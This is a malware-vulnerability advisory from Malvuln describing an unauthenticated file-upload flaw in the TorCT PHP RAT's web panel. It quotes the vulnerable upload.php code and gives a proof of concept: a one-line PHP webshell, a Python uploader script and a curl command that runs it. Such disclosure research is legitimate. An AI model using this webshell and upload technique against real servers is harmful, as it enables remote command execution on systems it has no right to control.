Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Family: TorCTPHPRAT
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.
"upload.php" vulnerable code:
$DelOrNot = $_GET['D'];
if ($DelOrNot == "true")
{
unlink('Upload/1.png');
unlink('Upload/2.png');
}else{
$uploadDir = 'Upload/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name']))
{
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
{
echo "File is successfully stored! ";
}
else print_r($_FILES);
}
else
{
echo "Upload Failed!";
print_r($_FILES);
}
}
Exploit/PoC:
1) Create PHP webshell "pwn.php", exec($_GET['cmd']);
2) Create Python uploader "torct_webshell.py"
import requests
url="http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php"
files = {'file': open('pwn.php', 'rb')}
r = requests.post(url, files=files)
if r.status_code==200:
print(r.status_code)
print("TorCTPHPRAT PWNED!")
3) Exploit
curl "http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe"
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